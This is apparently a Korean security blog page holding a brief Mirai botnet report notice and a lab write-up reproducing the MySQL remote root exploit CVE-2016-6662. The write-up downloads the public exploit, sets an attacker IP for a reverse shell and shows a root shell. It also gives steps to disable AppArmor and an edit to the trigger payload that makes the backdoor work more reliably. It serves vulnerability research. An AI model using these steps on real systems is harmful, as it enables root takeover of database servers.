안녕하세요?

(주)한국정보보호교육센터 f-NGS Lab 입니다.

사물인터넷 기기들을 이용하여 DDoS 공격이 일어나 미국의 유명한 기업들이 정상적인 웹 서비스를 제공하지 못한 사건이 발생했습니다. 이제는 전기밥솥이나 전기주전자가 좀비화되는 시대가 도래된 것입니다.

이 사건의 핵심은 Mirai 봇넷 때문인데, 이에 관련하여 작성한 동향 보고서입니다. 

본 문서는 사물인터넷 진단 가이드의 일부 내용과 DDoS 대응 가이드 일부 내용을 참조하여 작성하였습니다.


※ 이러한 동향과 분석을 모두 교육에 반영하고, 지속적으로 최신 보안 이슈와 연구 결과를 공유할 계획입니다. 많은 관심 바랍니다.

※ 상단의 이미지를 클릭하시면 문서를 받아보실 수 있습니다.

'Report' 카테고리의 다른 글

[동향 보고서] Mirai Botnet  (0) 2016.11.07

포스팅:

취약점 테스트

테스트를 위해 두 운영체제를 준비했다.

  • Kali Linux v2016.2 - 192.168.0.140
  • Ubuntu 14.04 LTS x64 - 192.168.0.128

그리고 테스트할 데이터베이스로 MySQL 5.5.50을 준비했다.

  • MySQL 5.5.50-0ubuntu0.14.04.1
설치 방법은 5.5.50을 배포하는 당시 sudo apt-get install mysql-server로 설치했다. 만약 5.5.50 버전의 소스코드를 다운로드하여 직접 컴파일할 경우 이 포스트에서 설명하는 것과 다른 환경이 구성된다.

공통 환경 구성

데이터베이스 서버 공통 구성

데이터베이스 생성

다음과 같이 데이터베이스를 생성한다. 생성한 데이터베이스를 소유하는 소유자와 그 소유자의 패스워드도 함께 설정한다.

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

/etc/mysql/my.cnf 소유자 변경

우분투 운영체제에서 MySQL을 apt-get으로 설치하면 /etc/mysql/ 디렉터리에 my.cnf 설정 파일이 생성되고 소유자는 root를 가진다. 하지만 PoC 문서에서 언급하는 "안전한 서비스 운영"과 "보안 가이드"에서 mysql 디렉터리와 my.cnf 설정 파일 소유자가 MySQL로 사용하도록 권장한다는 근거를 바탕으로 my.cnf 소유자를 MySQL로 변경한다.

sudo chown mysql:mysql /etc/mysql/my.cnf && ls -al /etc/mysql/my.cnf

bind-address 설정

원격에서 진행 가능한 취약점이기에 localhost로 진행하지 않고 서로 다른 아이피를 가진 두 개의 운영체제에서 진행한다. 이를 위해서는 원격에서 데이터베이스 서버로 접근할 수 있도록 아이피를 설정한다. 환경 변수 bind-address/etc/mysql/my.cnf 의 47번째 줄에 위치한다.

bind-address = 192.168.0.128


공격 운영체제 공통 설정

칼리 리눅스에서 다음 두 명령으로 공격 코드를 다운로드한다.

wget http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
wget http://legalhackers.com/exploits/mysql_hookandroot_lib.c

0ldSQL_MySQL_RCE_exploit.py 스크립트가 실행되면 my.cnf에 악의적인 설정을 주입하고, 주입된 설정이 데이터베이스 서버에서 실행되면 리버스 커넥션이 맺어진다. 그래서 이 스크립트가 잘 실행되면 netcat이 실행되면서 6033 포트로 리스닝 상태가 된다.

그러면 데이터베이스 서버에서 칼리 리눅스로 리버스 커넥션이 맺어지도록 설정을 변경한다. 데이터베이스 서버에서 리버스 커넥션 하기 위해서는 아이피는 mysql_hookandroot_lib.c#define ATTACKERS_IP의 값을 수정하여 설정할 수 있다.

#define ATTACKERS_IP "192.168.0.140"

데이터베이스 계정, 비밀번호, 데이터베이스의 아이피, 데이터베이스 이름 그리고 악의적인 설정을 주입할 설정 파일 경로를 다음과 같이 입력한다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /etc/mysql/my.cnf

만약 No module named mysql.connector 에러가 발생한다면 mysql.connector 파이썬 라이브러리를 설치한다.

apt-get install python-mysql.connector


MySQL 5.5.50-0ubuntu0.14.04.1 테스트

위 과정이 끝났다면 공격을 진행한다. 그러면 다음과 같은 메시지를 볼 수 있다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /etc/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.0.128 and target mysql account 'attacker@192.168.0.128' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf

[!] Something went wrong: 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)

[!] Exiting (code: 6)

MySQL 데이터베이스에서 변경된 사항과 로그들을 분석하여 행위를 종합해보면

  • 데이터베이스 서버에 poctable.TRG 생성 완료
  • 데이터베이스 서버에 mysql_hookandroot_lib.so 생성 완료
  • 데이터베이스 서버의 /etc/mysql/my.cnf에 악의적인 설정 주입 실패 > "설정 파일을 해당 경로에서 찾을 수 없음"을 출력

결론적으론 /etc/mysql/my.cnf 파일에 악의적인 설정 주입만 실패한 것을 볼 수 있다. 지금 구축한 환경에서는 PoC 문서의 1) 항목에서 언급한 내용은 진행되지 않는다.

그래서 2) 항목의 방법을 이용하여 진행할 수 있다. 2) 형태를 살펴보면 /var/lib/mysql/my.cnf에 악의적인 설정을 주입하는데, 이 파일은 섹션 형태로 시작하지 않으면 MySQL이 구성 파일을 로드하지 않는다고 언급되어 있다. /var/lib/mysql/my.cnf에는 파일이 존재하지 않고, 새로운 파일을 생성하여 로그를 주입한다면 섹션 형태로 시작하지 않을 것이다.

2) 형태에 맞춰 설정을 재구성한다. 먼저 공격하기 전에 스냅샷을 설정해두었다면 편하겠지만, 그렇지 않으면 다음과 같이 명령을 진행하여 앞서 테스트한 흔적들을 모두 제거한다.

sudo rm -f /var/lib/mysql/pocdb/poctable.TRG
sudo rm -f /var/lib/mysql/mysql_hookandroot_lib.so

데이터베이스도 삭제한 후 새롭게 만든다.

mysql -u root -p

Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.5.50-0ubuntu0.14.04.1-log (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> DROP DATABASE pocdb;
Query OK, 1 row affected (0.01 sec)

mysql> CREATE DATABASE pocdb;
Query OK, 1 row affected (0.00 sec)

mysql> GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
Query OK, 0 rows affected (0.00 sec)

mysql> GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';  
Query OK, 0 rows affected (0.00 sec)

mysql> Bye

이제 /etc/mysql/my.cnf 파일을 /var/lib/mysql/에 복사한다.

sudo cp /etc/mysql/my.cnf /var/lib/mysql/my.cnf

/var/lib/mysql/my.cnf 가 소유자가 MySQL인지 다시 확인하고, 아니라면 MySQL로 설정한다.

sudo chown mysql:mysql /var/lib/mysql/my.cnf

모든 설정이 끝났다면 MySQL 서비스를 재시작한다. 이때 단순히 mysqld를 재시작하는 것이 아니라 mysqld_safe 모드로 실행한다.

sudo service mysql stop
sudo mysqld_safe &

mysqld와 mysqld_safe가 실행 중인지 확인한다.

ps aux | grep mysqld

root       9296  0.0  0.1  72464  4380 pts/9    S    19:55   0:00 sudo mysqld_safe
root       9297  0.0  0.0   4448  1608 pts/9    S    19:55   0:00 /bin/sh /usr/bin/mysqld_safe
mysql      9967  0.2  1.1 418956 47184 pts/9    Sl   19:55   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
hakawati   9986  0.0  0.0  17168  2540 pts/9    S+   19:56   0:00 grep --color=auto mysqld

이제 모든 준비가 완료되었다. 공격 스크립트에서 mycnf 인자를 /etc/mysql/my.cnf에서 /var/lib/mysql/my.cnf로 변경하여 공격하면 /var/lib/mysql/my.cnf 설정에 악의적인 설정이 주입되고, 그 결과를 출력한 후 리버스 커넥션 대기상태가 된다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /var/lib/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.0.128 and target mysql account 'attacker@192.168.0.128' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /var/lib/mysql/my.cnf

[+] Showing the contents of /var/lib/mysql/my.cnf config to verify that our setting (malloc_lib) got injected


#
# The MySQL database server configuration file.
#
# You can copy this to one of:
# - "/etc/mysql/my.cnf" to set global options,
# - "~/.my.cnf" to set user-specific options.
# 
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html

# This will be passed to all mysql clients
# It has been reported that passwords should be enclosed with ticks/quotes
# escpecially if they contain "#" chars...
# Remember to edit /etc/mysql/debian.cnf when changing the socket location.
[client]
port         = 3306
socket         = /var/run/mysqld/mysqld.sock

# Here is entries for some specific programs
# The following values assume you have at least 32M ram

# This was formally known as [safe_mysqld]. Both versions are currently parsed.
[mysqld_safe]
socket         = /var/run/mysqld/mysqld.sock
nice         = 0

[mysqld]
#
# * Basic Settings
#
user         = mysql
pid-file    = /var/run/mysqld/mysqld.pid
socket         = /var/run/mysqld/mysqld.sock
port         = 3306
basedir         = /usr
datadir         = /var/lib/mysql
tmpdir         = /tmp
lc-messages-dir    = /usr/share/mysql
skip-external-locking
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address         = 192.168.0.128
#
# * Fine Tuning
#
key_buffer         = 16M
max_allowed_packet    = 16M
thread_stack         = 192K
thread_cache_size       = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
myisam-recover         = BACKUP
#max_connections        = 100
#table_cache            = 64
#thread_concurrency     = 10
#
# * Query Cache Configuration
#
query_cache_limit    = 1M
query_cache_size        = 16M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file        = /var/log/mysql/mysql.log
general_log             = 1
#
# Error log - should be very few entries.
#
log_error = /var/log/mysql/error.log
#
# Here you can see queries with especially long duration
#log_slow_queries    = /var/log/mysql/mysql-slow.log
#long_query_time = 2
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
#       other settings you may need to change.
#server-id         = 1
#log_bin            = /var/log/mysql/mysql-bin.log
expire_logs_days    = 10
max_binlog_size         = 100M
#binlog_do_db         = include_database_name
#binlog_ignore_db    = include_database_name
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Security Features
#
# Read the manual, too, if you want chroot!
# chroot = /var/lib/mysql/
#
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
#
# ssl-ca=/etc/mysql/cacert.pem
# ssl-cert=/etc/mysql/server-cert.pem
# ssl-key=/etc/mysql/server-key.pem



[mysqldump]
quick
quote-names
max_allowed_packet    = 16M

[mysql]
#no-auto-rehash    # faster start of mysql but no tab completition

[isamchk]
key_buffer         = 16M

#
# * IMPORTANT: Additional settings that can override those from this file!
#   The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0ubuntu0.14.04.1-log ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
             3 Query    SET global general_log = on
             3 Query    select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
             3 Query    SET global general_log = off

[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...

MySQL 서비스와 mysqld_safe를 모두 kill 명령으로 강제 종료하고 다시 mysqld_safe로 실행시키면 리버스 커넥션이 맺어지는 것을 볼 수 있다.

[...]

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...
193.192.168.0.128: inverse host lookup failed: Unknown host
connect to [192.168.0.140] from (UNKNOWN) [192.168.0.128] 57761
root@hakawati-virtual-machine:/home/hakawati# 


추가 내용

취약한 버전인데 PoC 작성자가 작성한 대로 진행되지 않는 이유가 궁금해서 스스로 의문사항을 만들어 그 답을 찾아보았다.

  • 왜 service 명령으로 mysqld를 실행했을 때 mysqld_safe가 실행되지 않을까?
  • /etc/mysql/my.cnf에 로그를 주입할 수 없을까?
  • mysqld와 mysqld_safe의 차이와 악용에 사용되는 --malloc-lib 파라미터의 기능은 무엇일까?
  • 왜 데이터베이스를 재시작하여 셸에는 붙었지만 데이터베이스 데몬이 실행되지 않을까?
  • 수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?
  • 로그 내용이 my.cnf에 사용해도 에러가 발생하지 않는 이유는 무엇을까?
  • 중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까?
  • /etc/mysql/my.cnf 소유자가 root인데 어떻게 mysql이 읽을 수 있을까?
  • 공격이 성공했을 때 mysql.log에는 어떤 기록이 남을까?

왜 service 명령으로 mysqld를 실행했을 때 mysqld_safe가 실행되지 않을까?

실험 중인 운영체제(우분투 14.04 LTS)에서 데몬을 실행시키는 방법에는 두 가지가 있다. 하지만 문서에서는 mysqld을 실행되면 서비스에는 mysqld_safe가 함께 사용되고 있음을 보여준다. 실제 테스트해보면 서비스를 실행시키는 두 가지 방법에는 차이가 있다.

service 명령으로 mysqld 실행

sudo service mysql start
mysql start/running, process 2970
ps aux | grep mysql
mysql      2970  1.5  1.1 484688 47684 ?        Ssl  16:20   0:00 /usr/sbin/mysqld
hakawati   3099  0.0  0.0  17164  2524 pts/4    S+   16:20   0:00 grep --color=auto mysql

/etc/init.d/ 위치에서 mysqld 실행

sudo /etc/init.d/mysql start
 * Starting MySQL database server mysqld                                                                                                                                                              [ OK ] 
 * Checking for tables which need an upgrade, are corrupt or were 
not closed cleanly.
ps aux | grep mysql
root       3153  0.0  0.0   4448  1620 pts/4    S    16:21   0:00 /bin/sh /usr/bin/mysqld_safe
mysql      3514  0.4  1.1 484688 47516 pts/4    Sl   16:21   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
hakawati   3660  0.0  0.0  17164  2520 pts/4    S+   16:21   0:00 grep --color=auto mysql

두 명령의 차이는 service 명령의 man 페이지에서 확인할 수 있다. 요약하면 다음과 같다.

시스템 V의 init 스크립트를 실행하는 명령으로 /etc/init.d/SCRIPT 보다 /etc/init를 먼저 실행한다.

결론적으로 service는 /etc/init에 MySQL 관련된 부분이 있으면 그것을 먼저 실행시키는 명령이다. /etc/init에는 mysql.conf 파일이 존재한다. 이 파일에는 다음과 같은 내용이 포함되어 있으며, 47 라인에서 볼 수 있듯이 mysqld_safe 실행 없이 mysqld만 실행한다.

env HOME=/etc/mysql
umask 007

# The default of 5 seconds is too low for mysql which needs to flush buffers
kill timeout 300

pre-start script
    ## Fetch a particular option from mysql's invocation.
    # Usage: void mysqld_get_param option
    mysqld_get_param() {
      /usr/sbin/mysqld --print-defaults \
        | tr " " "\n" \
        | grep -- "--$1" \
        | tail -n 1 \
        | cut -d= -f2
    }

    # priority can be overriden and "-s" adds output to stderr
    ERR_LOGGER="logger -p daemon.err -t /etc/init/mysql.conf -i"

    #Sanity checks
    [ -r $HOME/my.cnf ]
    [ -d /var/run/mysqld ] || install -m 755 -o mysql -g root -d /var/run/mysqld
    /lib/init/apparmor-profile-load usr.sbin.mysqld

    # check for diskspace shortage
    datadir=`mysqld_get_param datadir`
    BLOCKSIZE=`LC_ALL=C df --portability $datadir/. | tail -n 1 | awk '{print $4}'`
    if [ $BLOCKSIZE -le 4096 ] ; then
      echo "$0: ERROR: The partition with $datadir is too full!" >&2
      echo "ERROR: The partition with $datadir is too full!" | $ERR_LOGGER
      exit 1
    fi
end script

exec /usr/sbin/mysqld

/etc/init.d/mysql에서는 109 라인에서 볼 수 있듯이 mysqld가 아닌 mysqld_safe를 실행한다. 결과적으로 다르게 실행하는 것을 알 수 있다.

case "${1:-''}" in
  'start')
        sanity_checks;
        # Start daemon
        log_daemon_msg "Starting MySQL database server" "mysqld"
        if mysqld_status check_alive nowarn; then
           log_progress_msg "already running"
           log_end_msg 0
        else
            # Could be removed during boot
            test -e /var/run/mysqld || install -m 755 -o mysql -g root -d /var/run/mysqld

            # Start MySQL! 
            /usr/bin/mysqld_safe > /dev/null 2>&1 &

            # 6s was reported in #352070 to be too few when using ndbcluster
        # 14s was reported in #736452 to be too few with large installs
        for i in $(seq 1 30); do
                sleep 1
                if mysqld_status check_alive nowarn ; then break; fi
                log_progress_msg "."
            done
            if mysqld_status check_alive warn; then
                log_end_msg 0
                # Now start mysqlcheck or whatever the admin wants.
                output=$(/etc/mysql/debian-start)
                [ -n "$output" ] && log_action_msg "$output"
            else
                log_end_msg 1
                log_failure_msg "Please take a look at the syslog"
            fi
        fi
        ;;

그래서 다음과 같은 가설을 세웠다.

현재 상황에서는 mysqld_safe만이 /etc/mysql/my.cnf에 로그를 주입하는 형태로 작성할 수 있다.

실험을 위해 mysqld_safe를 실행 실행시켰다. mysqld_safe를 실행시키기 위해 다음 두 가지 방법 중 하나를 선택하였다.

  • /etc/init/mysql.conf를 삭제한 후 sudo service mysql start 실행
  • sudo /etc/init.d/mysql start로 데몬을 실행

하지만 여전히 /etc/mysql/my.cnf를 덮어쓰는 것은 불가능했다.

왜 /etc/mysql/my.cnf 에 로그를 주입할 수 없을까?

my.cnf 파일의 소유자를 MySQL로 변경해야 하는 근거를 "설정 가이드"와 "보안 가이드"를 언급하는 걸로 정당성을 확보했다고 치자. 그렇다면 왜 취약한 mysql 5.5.50에서 mysql 소유자로 변경했음에도 로그 주입이 실패한 원인은 무엇일까. 그 해답을 PoC 스크립트 실행 시 출력되는 에러 코드에서 찾을 수 있었다.

[!] Something went wrong: 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)

MySQL과 관련 있는 Errcode: 13을 검색해보니 이곳에서 Apparmor에 관해 언급하고 있었다. 따라서 Apparmor의 설정이 위치한 /etc/apparmor.d/usr.sbin.mysqld 파일을 살펴보았다.

이 설정 파일의 25 라인에서 볼 수 있듯이 /etc/mysql/my.cnf는 읽을(r) 수만 있도록 설정되어 있다. 실습에서 사용할 수 있었던 /var/lib/mysql/my.cnf는 라인 33에서 볼 수 있듯이 읽고(r), 쓰고(w), 독점(k)할 수 있도록 설정되어 있다.

# vim:syntax=apparmor
# Last Modified: Tue Jun 19 17:37:30 2007
#include <tunables/global>

/usr/sbin/mysqld {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>
  #include <abstractions/mysql>
  #include <abstractions/winbind>

  capability dac_override,
  capability sys_resource,
  capability setgid,
  capability setuid,

  network tcp,

  /etc/hosts.allow r,
  /etc/hosts.deny r,

  /etc/mysql/*.pem r,
  /etc/mysql/conf.d/ r,
  /etc/mysql/conf.d/* r,
  /etc/mysql/*.cnf r,
  /usr/lib/mysql/plugin/ r,
  /usr/lib/mysql/plugin/*.so* mr,
  /usr/sbin/mysqld mr,
  /usr/share/mysql/** r,
  /var/log/mysql.log rw,
  /var/log/mysql.err rw,
  /var/lib/mysql/ r,
  /var/lib/mysql/** rwk,
  /var/log/mysql/ r,
  /var/log/mysql/* rw,
  /var/run/mysqld/mysqld.pid rw,
  /var/run/mysqld/mysqld.sock w,
  /run/mysqld/mysqld.pid rw,
  /run/mysqld/mysqld.sock w,

  /sys/devices/system/cpu/ r,

  # Site-specific additions and overrides. See local/README for details.
  #include <local/usr.sbin.mysqld>
}

usr.sbin.mysqld 파일을 삭제하거나, /etc/apparmor.d/disable/ 디렉터리에 usr.sbin.mysqld 파일의 심볼릭 링크를 생성하면 MySQL 서비스를 보호하기 위한 Apparmor가 동작하지 않는다. 아니면 33 라인의 /etc/mysql/*.cnf에 쓸(w) 수 있도록 권한을 추가하는 방법을 선택해도 좋다.

추천하는 방법은 disable 디렉터리를 이용하는 것이다. 다음과 같이 disable 디렉터리에 심볼릭 링크를 생성하고 Apparmor가 usr.sbin.mysqld 프로파일을 다시 파싱하면 더 이상 mysqld은 Apparmor의 보호를 받지 못한다.

sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

이제 /etc/mysql/my.cnf를 쓰는 형태로 CVE-2016-6662를 다시 테스트해보면 잘 덮어쓰는 것을 확인할 수 있다.

PoC 작성자는 "또한 리눅스 배포판에서 기본 정책으로 활성화하도록 설치되는 SELinux와 Apparmor와 같은 보안 모듈에서 운영하는 MySQL 서비스에도 공격이 가능하다"라고 언급했지만, 실제로는 Apparmor에 의해 CVE-2016-6662로부터 보호할 수 있다는 것을 확인할 수 있다.

mysqld와 mysqld_safe의 차이와 악용에 사용되는 --malloc-lib 파라미터의 기능은 무엇일까?

Apparmor를 우회했다고 해도, mysqld만 실행된 것과 mysqld_safe를 통해 mysqld를 실행하는 것은 다른 결과를 보여준다. mysqld는 백도어를 실행하지 못하고, mysqld_safe는 백도어를 실행하여 원격에서 root 권한으로 셸을 얻을 수 있다. 이 둘은 어떤 차이를 가질까. mysqld_safe의 man 페이지를 살펴보면 기능적 차이를 알 수 있다. 간단하게 요약하면 다음과 같다.

mysqld_safe는 mysqld 서버를 실행시킬 때 권장하는 방법으로, 오류가 발생하면 로그 파일에 런타임 정보를 제공한 후 서버를 재시작시키는 기능이 추가로 도입된 스크립트다.

로깅 기능 빼고 큰 차이는 없어 보인다. 하지만 오라클의 mysqld_safe 설명 페이지에 방문해보면 다양한 기능을 제공한다는 것을 볼 수 있다. 이 취약점에서 우리가 알아야 할 핵심 옵션은 --malloc-lib이다. 이는 말 그대로 동적 메모리 할당을 위해 사용하는 malloc 라이브러리 대신에 다른 라이브러리를 사용할 수 있도록 설정하는 것으로, 주로 MySQL 퍼포먼스를 위해 사용된다. 이 옵션은 mysqld_safe 실행 시 다음과 같이 옵션을 할당하여 사용한다.

--malloc-lib=/opt/lib/i_dont_want_to_use_malloc_of_mysql.so

위와 같이 데몬을 실행할 때 직접 명시하여 사용하지 않으면 다음과 같이 my.cnf에 설정한 환경 변수 내용을 로드한다.

[mysqld_safe]
malloc-lib=/opt/lib/i_dont_want_to_use_malloc_of_mysql.so

왜 데이터베이스를 재시작하여 셸에는 붙었지만 데이터베이스 데몬이 실행되지 않을까?

공격을 진행한 후 mysqld_safe에 의해 error.log에 작성되는 로그를 살펴보면 다음과 같은 에러 문구를 볼 수 있으며, 이 에러로 인해 MySQL 데이터베이스는 실행되지 않는다.

160921 18:45:02 [ERROR] /usr/sbin/mysqld: unknown variable 'malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so'
160921 18:45:02 [ERROR] Aborting

160921 18:45:02  InnoDB: Starting shutdown...
160921 18:45:03  InnoDB: Shutdown completed; log sequence number 1595685
160921 18:45:03 [Note] /usr/sbin/mysqld: Shutdown complete

데이터베이스 실행 중단의 원인은 로그에서 알 수 있듯이 mysqld가 malloc_lib 변수를 이해하지 못하기 때문이다. malloc_lib는 mysqld_safe가 인식하는 변수이기에 [mysqld_safe] 섹션에 선언해야 이 에러를 만나지 않는다. 하지만 주입되는 SQL 코드를 살펴보면 malloc_lib[mysqld] 섹션에 작성된 것을 볼 수 있다.

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

triggers 변수에 사용한 [mysqld][mysqld_safe]로 변경하면 백도어를 잘 실행시키고, 데이터베이스도 잘 동작한다.

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld_safe]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?

첫 번째로 정석적으로는 환경 변수로 --malloc-lib를 선언할 때 malloc_lib가 아닌 malloc-lib로 선언해야 한다. 하지만 malloc_lib로 선언해도 사용 가능한 이유는 mysqld_safe wrapper 스크립트의 189 라인에서 확인할 수 있다. 여기에는 _-로 치환하는 코드를 사용한다.

# replace "_" by "-" ; mysqld_safe must accept "_" like mysqld does.
optname_subst=`echo "$optname" | sed 's/_/-/g'`

두 번째로 [mysqld] 섹션에 malloc_lib를 선언했음에도 불구하고 malloc_lib 인수를 로드하여 실행시켰는 가다. 이는 다음과 같은 가설을 가지고 접근했지만, 증명하진 못했다. 하지만 수차례 테스트해본 결과 다음과 같은 잠정적인 결론을 추측할 수 있었다.

mysqld_safe wrapper 스크립트가 실행된 후에 mysqld가 실행된다. 다시 말해서 mysqld가 실행되기 전에 mysqld_safe wrapper 스크립트가 실행되는데, mysqld_safe wrapper 스크립트에는 자신만이 사용하는 환경 변수를 커맨드 라인과 my.cnf에서 파싱한다.

바로 이 파싱 하는 과정에서는 [mysqld_safe] 섹션을 기준으로 다음 섹션을 만나기 전까지의 환경 변수를 파싱하는 것이 아닌 my.cnf 파일에 선언된 모든 환경 변수를 파싱하고, 자신이 인식할 수 있는 환경 변수면 실행하고 아니면 무시하는 형태로 동작할 것이다.

따라서 [mysqld]malloc_lib를 선언해도 mysqld_safe wrapper 스크립트는 [mysqld] 섹션 선언을 무시하고 자신만이 사용할 수 있는 malloc_lib를 파싱하기 때문에 동작할 것이다.

mysqld_safe wrapper가 환경 변수들을 파싱하고 처리한 후 mysqld를 실행시키는데, mysqld는 [mysqld] 섹션 기준으로 환경 변수를 파싱하는 로직을 가지고 있는 것으로 추측된다. 그렇기 때문에 mysqld가 자신이 이해할 수 없는 malloc_lib 환경 변수를 만나 에러가 발생해 더 이상 데몬을 실행할 수 없게 되는 것으로 보인다.

로그 내용이 my.cnf에 사용해도 에러가 발생하지 않는 이유는 무엇을까?

다음과 같이 주석으로 표시된 것도 아닌 내용(로그 기록)이 my.cnf에 사용되어도 데이터베이스가 동작하는데 아무런 문제가 발생하지 않는다.

[mysql]
#no-auto-rehash # faster start of mysql but no tab completition

[isamchk]
key_buffer              = 16M

#
# * IMPORTANT: Additional settings that can override those from this file!
#   The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
